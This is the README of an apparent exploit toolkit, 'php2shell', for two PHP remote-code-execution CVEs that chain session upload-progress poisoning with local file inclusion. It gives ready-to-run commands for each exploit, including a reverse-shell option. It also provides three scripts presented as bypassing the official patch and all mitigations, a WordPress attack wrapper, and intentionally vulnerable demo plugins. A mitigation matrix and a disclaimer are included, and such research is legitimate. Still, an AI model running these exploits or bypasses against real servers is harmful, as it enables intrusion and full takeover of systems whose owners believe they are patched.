# php2shell — CVE-2026-109618 & CVE-2026-109619 Remote Code Execution exploits for two critical PHP vulnerabilities in the multipart parser and session upload progress handler. Includes three bypass exploits that defeat the official security patch and all recommended mitigations. **No external dependencies** — pure Python 3 stdlib. ## Vulnerabilities **CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers `zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on disk with attacker-controlled PHP code. LFI includes it for RCE. **CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled data verbatim into the session file. With `cleanup=0`, or via race condition against `cleanup=1`, the poisoned session file is includable via LFI for RCE. **Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35. ## Exploits | Script | Target | Description | |--------|--------|-------------| | `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE | | `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE | | `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs | | `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload | | `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch | | `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** | | `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules | ## Prerequisites - Python 3.8+ - Target running PHP-FPM with `session.upload_progress.enabled=1` (default) - A Local File Inclusion vector in the target application - Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`) ## Usage ```bash # CVE-2026-109618: OOM exploit python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id' python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only # Use --no-chunked when nginx has fastcgi_request_buffering off # Use --fields / --field-size to tune OOM threshold for target memory_limit # CVE-2026-109619: Session poisoning (direct or race) python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race # WordPress (auto-detects LFI parameter) python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id' python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id' # Patch bypass: race condition on PHP 8.4.27+ python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id' # Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits) python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id' # Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0 python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345 ``` All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`. Use `--session-path` and `--lfi-param` to override auto-detection. ## Patch Bypass Findings The PHP 8.4.27 patch has three confirmed bypass paths to RCE: **1. Race condition (TOCTOU)** — Session upload progress data exists on disk during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI request includes the file during the upload window. Inherent to the feature design. **2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's `memory_limit` but not from OS-level limits. With `memory_limit=-1` and RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code path. Worker exits code 1 (not the patched code 70), session persists. **3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is includable via `/proc//fd/` from another FPM worker. No session poisoning needed. **Bypasses every recommended mitigation.** ### Mitigation Matrix | Mitigation | Race | RLIMIT | /proc/fd | |---|---|---|---| | Patch alone | FAIL | FAIL | FAIL | | + `upload_progress=0` | OK | OK | **FAIL** | | + `hidepid=2` on /proc | FAIL | FAIL | OK | | + `upload_progress=0` + `hidepid=2` | OK | OK | OK | | Fix the LFI | OK | OK | OK | ### Recommendations 1. Set `session.upload_progress.enabled=0` in php.ini 2. Mount /proc with `hidepid=2` (or `hidepid=invisible`) 3. Fix any LFI vulnerabilities in applications 4. Set `open_basedir` to restrict filesystem access ## WordPress The WordPress exploit requires a plugin that calls `session_start()` and has an LFI vector. Two demo plugins are included: - `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI - `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with template preview, log viewer, and session-based features Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/` ## Disclaimer For authorized security testing and research only. Obtain proper authorization before testing against any system you do not own.